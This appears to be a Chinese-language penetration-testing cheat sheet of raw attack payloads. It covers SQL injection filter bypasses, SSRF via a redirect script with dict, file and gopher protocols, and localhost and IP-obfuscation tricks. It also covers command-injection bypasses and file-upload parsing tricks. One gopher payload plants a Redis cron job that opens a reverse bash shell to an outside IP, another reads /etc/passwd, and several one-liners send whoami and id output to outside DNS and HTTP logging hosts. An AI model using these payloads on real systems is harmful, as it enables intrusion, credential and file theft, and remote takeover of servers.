slect table_name from information_schema.table where table_schema="sqli";

slect table_name from information_schema.table where table_schema=0x73716c69;

slect table_name from information_schema.table where table_schema=CHAR(115, 113, 108, 105);

select * from admin where id in (1,2,3,4);

select * from admin where id like 1;

SELECT * FROM admin where id = 1 union select 1,2,group_concat(user(),' ',database(),' ',@@datadir)

SELECT * FROM admin where id = 1 union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C)

select * from admin limit 0,2;

select * from admin limit 2 offset 0;

select * from admin where id between 1 and 3;

select * from admin where id=1;

select/**/*/**/from/**/admin/**/where/**/id=1;

select/*1*/*from/*1*/admin/*1*/where/*1*/id=1;

select * from admin where id=1;

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()
substr((select 'password'),1,1) = 0x70

　　　strcmp(left('password',1), 0x69) = 1

　　 strcmp(left('password',1), 0x70) = 0

　　　strcmp(left('password',1), 0x71) = -1
mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

$schema = $_GET['s'];
$ip = $_GET['i'];
$port = $_GET['p'];
$query = $_GET['q'];
if(empty($port)){
header("Location: $schema://$ip/$query");
} else {
header("Location: $schema://$ip:$port/$query");
}

# dict protocol - 探测Redis
dict://127.0.0.1:6379/info
curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=dict&i=127.0.0.1&port=6379&query=info'

# file protocol - 任意文件读取
curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=file&query=/etc/passwd'

# gopher protocol - 一键反弹Bash
# * 注意: gopher跳转的时候转义和`url`入参的方式有些区别
curl -vvv 'http://sec.com:8082/ssrf_only_http_s.php?url=http://sec.com:8082/302.php?s=gopher&i=127.0.0.1&p=6389&query=_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0
a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/103.21.140.84/6789%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d
%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3
%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

利用[::]绕过localhost
http://[::]:80/ >>> http://127.0.0.1

http://example.com@127.0.0.1 => http://127.0.0.1

http://dwz.cn/11SMa >>> http://127.0.0.1

10.0.0.1.xip.io 10.0.0.1

www.10.0.0.1.xip.io 10.0.0.1

mysite.10.0.0.1.xip.io 10.0.0.1

foo.bar.10.0.0.1.xip.io 10.0.0.1
10.0.0.1.xip.name resolves to 10.0.0.1

www.10.0.0.2.xip.name resolves to 10.0.0.2

foo.10.0.0.3.xip.name resolves to 10.0.0.3

bar.baz.10.0.0.4.xip.name resolves to 10.0.0.4

十进制 ---||||||> 十六进制 ---||||||> 八进制 然后在访问时 指定协议然后加个0

http://0[八进制] 比如 115.239.210.26 首先用.分割数字 115 239 210 26 然后选择10进制转换16进制！

(要用0来表示前缀，可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样！)

首先把这四段数字给 转成 16 进制！结果：73 ef d2 1a 然后把 73efd21a 这十六进制一起转换成8进制！

结果：16373751032

然后指定协议 http:// 用0表示前缀 加上结果 链接：

http://0016373751032

利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

127。0。0。1 >>> 127.0.0.1

<符号

%09 符号

IFS$9 符号

${IFS} 符号

%0a 符号

%0d 符号

%09 符号

a=who;b=am;c=i;$a$b$c

`echo "d2hvYW1p"|base64 -d`

curl xxxx.ceye.io/`whoami`

ping -c 1 `whoami`.xxxx.ceye.io

curl http://xxxx.ceye.io/$(id|base64)

http请求：
for /F %x in ('whoami') do start http://xxx.ceye.io/%x

dns请求：
获取计算机名：for /F "delims=" %i in ('whoami') do ping -n 1 %i.t00ls.xxx.tu4.org
获取用户名：for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.t00ls.xxx.tu4.org

shell.php.v1.xxx

-- 系统无法识别xxx后缀名，则判断v1后缀名
-- 系统仍无法识别v1后缀名，则判断php后缀名
-- 系统可识别php后缀名，则将文件作为PHP文件解析

http://IP/图片马地址/a.php

后缀 Content-Type

.jpg image/jpeg
.gif image/gif
.png image/png

GIF89a
(...somebinarydataforimage...)

(...skippingtherestofbinarydata...)